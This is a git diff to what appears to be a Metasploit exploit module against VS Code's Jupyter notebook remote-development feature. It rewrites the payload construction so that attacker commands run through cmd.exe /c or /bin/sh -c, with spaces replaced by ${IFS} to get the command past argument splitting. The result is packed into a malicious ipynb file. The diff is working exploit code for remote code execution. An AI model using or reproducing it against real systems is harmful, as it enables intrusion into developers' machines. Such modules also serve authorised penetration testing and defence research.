diff --git a/modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec.rb b/modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec.rb index 7911ae238e..d2bce191bb 100644 --- a/modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec.rb +++ b/modules/exploits/multi/misc/vscode_ipynb_remote_dev_exec.rb @@ -95,9 +95,16 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) super unless request.uri.end_with? datastore['URIPATH'] - pload = %({"config":{"executable":"#{payload.encoded.split(' ')[0]}","args":"#{payload.encoded.split(' ')[1..].join(' ')}"}}) + if target['Platform'] == 'win' + config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" } + else + config = { 'executable' => '/bin/sh', 'args' => "-c #{payload.raw.gsub(' ', '${IFS}')}" } + end + + pload = JSON.dump({ 'config' => config }) + puts pload - pload = CGI.escape(pload).gsub('+', '%20') + pload = CGI.escape(pload).gsub('+', '%20') # XXX not suure if this is needed or not ipynb = %|{ "cells": [